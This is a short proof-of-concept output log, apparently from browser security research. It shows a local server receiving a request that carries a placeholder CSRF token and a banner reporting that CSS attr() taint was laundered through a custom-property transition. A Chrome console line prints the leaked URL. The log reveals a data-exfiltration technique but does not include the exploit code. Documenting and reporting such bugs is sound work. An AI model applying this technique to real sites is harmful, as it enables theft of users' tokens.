==== server.log ====
[server] listening on http://127.0.0.1:8081/
[server] GET /poc.html
[server] GET /x
[server] GET /secret?token=CSRF-TOKEN-abc123

*** VULNERABILITY CONFIRMED: attr()-derived URL was fetched ***
***   path = /secret?token=CSRF-TOKEN-abc123
***   attr-security taint was laundered through the
***   discrete transition on registered custom property.

[server] GET /favicon.ico

==== chrome console ====
[544:544:0412/040604.042874:INFO:CONSOLE:83] "background-image = image-set(url("http://localhost:8081/secret?token=CSRF-TOKEN-abc123") 1dppx)", source: http://localhost:8081/poc.html (83)